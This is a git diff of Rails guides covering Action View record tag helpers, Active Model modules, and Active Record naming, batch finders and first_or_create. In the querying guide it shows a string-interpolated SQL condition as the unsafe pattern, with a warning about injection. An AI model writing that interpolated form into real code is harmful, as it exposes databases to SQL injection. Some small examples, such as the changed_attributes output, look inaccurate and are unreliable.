Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index d40e0840ce..e2b69fa0d5 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -16,7 +16,7 @@ Action View and Action Controller are the two major components of Action Pack. I Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. -Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. +NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. h3. Using Action View with Rails @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -478,7 +555,6 @@ javascript_include_tag :monkey # => <script type="text/javascript" src="/javascripts/tail.js"></script> </ruby> - h5. register_stylesheet_expansion Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. @@ -822,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -1419,10 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* May 29, 2011: Removed references to remote_* helpers - Vijay Dev -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile new file mode 100644 index 0000000000..9c8ad24cee --- /dev/null +++ b/railties/guides/source/active_model_basics.textile @@ -0,0 +1,205 @@ +h2. Active Model Basics + +This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below - + +h4. AttributeMethods + +AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. + +<ruby> +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods ['age'] + + attr_accessor :age + +private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 ? true : false + end + +end + +person = Person.new +person.age = 110 +person.age_highest? # true +person.reset_age # 0 +person.age_highest? # false + +</ruby> + +h4. Callbacks + +Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. + +<ruby> +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + _run_update_callbacks do + # This will call when we are trying to call update on object. + end + end + + def reset_me + # This method will call when you are calling update on object as a before_update callback as defined. + end +end +</ruby> + +h4. Conversion + +If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. + +<ruby> +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person #=> true +person.to_key #=> nil +person.to_param #=> nil +</ruby> + +h4. Dirty + +An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name + +<ruby> +require 'rubygems' +require 'active_model' + +class Person + include ActiveModel::Dirty + define_attribute_methods [:first_name, :last_name] + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + last_name_will_change! + @last_name = value + end + + def save + @previously_changed = changes + end + +end +</ruby> + +h5. Querying object directly for its list of all changed attributes. + +<ruby> +person = Person.new +person.first_name = "First Name" + +person.first_name #=> "First Name" +person.first_name = "First Name Changed" + +person.changed? #=> true + +#returns an list of fields arry which all has been changed before saved. +person.changed #=> ["first_name"] + +#returns a hash of the fields that have changed with their original values. +person.changed_attributes #=> {"first_name" => "First Name Changed"} + +#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. +person.changes #=> {"first_name" => ["First Name","First Name Changed"]} +</ruby> + +h5. Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +<ruby> +#attr_name_changed? +person.first_name #=> "First Name" + +#assign some other value to first_name attribute +person.first_name = "First Name 1" + +person.first_name_changed? #=> true +</ruby> + +Track what was the previous value of the attribute. + +<ruby> +#attr_name_was accessor +person.first_name_was #=> "First Name" +</ruby> + +Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + +<ruby> +#attr_name_change +person.first_name_change #=> ["First Name", "First Name 1"] +person.last_name_change #=> nil +</ruby> + +h4. Validations + +Validations module adds the ability to class objects to validate them in Active Record style. + +<ruby> +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, :presence => true + validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i + validates! :token, :presence => true + +end + +person = Person.new(:token => "2b1f325") +person.valid? #=> false +person.name = 'vishnu' +person.email = 'me' +person.valid? #=> false +person.email = 'me@vishnuatrai.com' +person.valid? #=> true +person.token = nil +person.valid? #=> raises ActiveModel::StrictValidationFailed +</ruby> diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index 3e46e7df9f..66ad7b0255 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> @@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes user.destroy </ruby> - h3. Validations Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 8ea06d28aa..2e1f89cb78 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -13,7 +13,7 @@ endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -69,28 +69,28 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: +Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -100,14 +100,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -121,10 +121,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -132,16 +132,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -149,16 +149,16 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -170,15 +170,15 @@ h4. Retrieving Multiple Objects h5. Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: +<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -188,24 +188,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord:: h4. Retrieving Multiple Objects in Batches -Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. -The following may seem very straight forward at first: +This may appear straightforward: <ruby> -# Very inefficient when users table has thousands of rows. +# This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. h5. +find_each+ -To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: +The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: <ruby> User.find_each do |user| @@ -213,11 +215,15 @@ User.find_each do |user| end </ruby> -*Configuring the batch size* +h6. Options for +find_each+ + +The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. + +Two additional options, +:batch_size+ and +:start+, are available as well. -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +*+:batch_size+* -To fetch +User+ records in batch size of +5000+: +The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -225,34 +231,38 @@ User.find_each(:batch_size => 5000) do |user| end </ruby> -*Starting batch find from a specific primary key* +*+:start+* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. -To send newsletters only to users with the primary key starting from +2000+: +For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: <ruby> -User.find_each(:batch_size => 5000, :start => 2000) do |user| +User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end </ruby> -*Additional options* +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. -+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h5. +find_in_batches+ -You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: +The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: <ruby> -# Works in chunks of 1000 invoices at a time. +# Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. + +h6. Options for +find_in_batches+ + +The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. h3. Conditions @@ -266,7 +276,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t h4. Array Conditions -Now what if that number could vary, say as an argument from somewhere? The find then becomes something like: +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: <ruby> Client.where("orders_count = ?", params[:orders]) @@ -274,7 +284,7 @@ Client.where("orders_count = ?", params[:orders]) Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. -Or if you want to specify two conditions, you can do it like: +If you want to specify multiple conditions: <ruby> Client.where("orders_count = ? AND locked = ?", params[:orders], false) @@ -282,19 +292,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false) In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. -The reason for doing code like: +This code is highly preferable: <ruby> Client.where("orders_count = ?", params[:orders]) </ruby> -instead of: +to this code: <ruby> Client.where("orders_count = #{params[:orders]}") </ruby> -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. @@ -560,6 +570,7 @@ Client.where("orders_count > 10").order(:name).reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC </sql> @@ -571,6 +582,7 @@ Client.where("orders_count > 10").reverse_order </ruby> The SQL that would be executed: + <sql> SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC </sql> @@ -614,15 +626,13 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. -<br /> - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: @@ -911,14 +921,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -1014,27 +1024,90 @@ You can also use +find_last_by_*+ methods which will find the last record matchi You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. + +h4. +first_or_create+ + +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: + +<ruby> +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) +</ruby> + +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add + +<ruby> +validates :orders_count, :presence => true +</ruby> + +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': + +<ruby> +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +</ruby> + +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1185,12 +1258,3 @@ 